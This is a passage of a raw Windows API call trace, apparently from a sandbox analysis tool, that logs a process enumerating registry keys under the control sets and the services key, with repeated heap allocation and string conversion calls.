(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0251.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0251.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1da8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0251.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0251.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0251.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1b68, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0251.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0251.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0251.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0251.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0251.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0251.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0251.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0251.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0251.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0251.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0251.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0251.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0251.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.256] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0251.256] RegCloseKey (hKey=0xc4) returned 0x0 [0251.257] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0251.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0251.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.257] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0251.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0251.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.257] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0251.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0251.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.257] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0251.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0251.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.258] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.258] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.258] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.258] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0251.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0251.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.258] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.258] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.258] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.258] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.258] RegCloseKey (hKey=0x14c) returned 0x0 [0251.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0251.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0251.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.258] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.258] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.258] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0251.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0251.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1da8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0251.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0251.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0251.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1b68, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0251.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0251.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0251.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1da8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0251.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0251.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0251.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1b68, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0251.259] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0251.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0251.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0251.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1da8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0251.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.260] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0251.260] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.260] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0251.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.260] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 